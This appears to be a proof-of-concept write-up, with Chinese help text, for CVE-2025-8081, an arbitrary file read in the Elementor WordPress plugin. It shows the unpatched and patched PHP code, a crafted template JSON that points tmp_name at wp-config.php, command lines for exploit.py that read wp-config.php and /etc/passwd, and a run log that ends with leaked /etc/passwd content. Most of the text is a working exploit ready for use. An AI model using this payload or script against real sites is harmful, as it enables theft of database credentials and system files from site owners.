elementor/includes/template-library/classes/class-import-images.php
第 115 行（v3.28.3）

if ( isset( $attachment['tmp_name'] ) ) {
    // Used when called to import a directly-uploaded file.
    $filename = $attachment['name'];
    $file_content = Utils::file_get_contents( $attachment['tmp_name'] );  // ❌ NO VALIDATION!
}

if ( isset( $attachment['tmp_name'] ) ) {
    // Used when called to import a directly-uploaded file.
    $filename = $attachment['name'];
    $file_content = false;
    // security validation in case the tmp_name has been tampered with
    if ( is_uploaded_file( $attachment['tmp_name'] ) ) {  // ✅ VALIDATION ADDED!
        $file_content = Utils::file_get_contents( $attachment['tmp_name'] );
    }
}

{
  "content": [{
    "id": "s1",
    "elType": "section",
    "settings": [],
    "elements": [{
      "id": "c1",
      "elType": "column",
      "settings": {"_column_size": 100},
      "elements": [{
        "id": "w1",
        "elType": "widget",
        "widgetType": "image",
        "settings": {
          "image": {
            "url": "http://x.com/x.jpg",
            "id": 1,
            "tmp_name": "/var/www/html/wp-config.php",
            "name": "leaked_config.txt"
          }
        },
        "elements": []
      }]
    }]
  }],
  "version": "0.4",
  "type": "page"
}

python3 exploit.py -t https://target.com -u admin -p password123

必需参数：
  -t, --target URL        目标 WordPress URL（例如：https://target.com）
  -u, --user USERNAME     WordPress 管理员用户名
  -p, --password PASS     WordPress 管理员密码

可选参数：
  -f, --file PATH         要读取的文件（默认：/var/www/html/wp-config.php）
  -o, --output FILE       输出文件名（默认：自动生成）
  --insecure, -k          禁用 SSL 证书验证
  -v, --verbose           启用详细输出以进行调试
  -h, --help              显示帮助信息

# 基本利用（使用默认载荷读取 wp-config.php）
python3 exploit.py -t http://target.com -u admin -p password123

# 自定义目标文件
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd

# 使用 HTTPS 和自签名证书
python3 exploit.py -t https://target.com -u admin -p password123 --insecure

# 详细模式并自定义输出
python3 exploit.py -t http://target.com -u admin -p password123 \
  -f /etc/passwd -o users.txt -v

# 从 OrbStack/Docker 攻击宿主机
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v

Kali:~$ python3 exploit.py  -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd

======================================================================
 CVE-2025-8081 - Elementor Arbitrary File Read
======================================================================
Target: http://host.internal:8080
File:   /etc/passwd
======================================================================

[INFO] Attempting WordPress authentication...
[SUCCESS] ✓ Authentication successful!
[INFO] Fetching AJAX nonce...
[INFO] Loading payload: payload.json
[INFO] Uploading malicious template...
[SUCCESS] ✓ Template uploaded successfully!
[INFO] Searching for leaked file: leaked_passwd.txt
[SUCCESS] ✓ Found file: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] Downloading file...
[SUCCESS] ✓ Downloaded 839 bytes

======================================================================
 EXPLOITATION SUCCESSFUL!
======================================================================
File URL:  http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
File size: 839 bytes
Saved to:  leaked_passwd.txt

--- FILE CONTENT (first 500 chars) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- END ---
======================================================================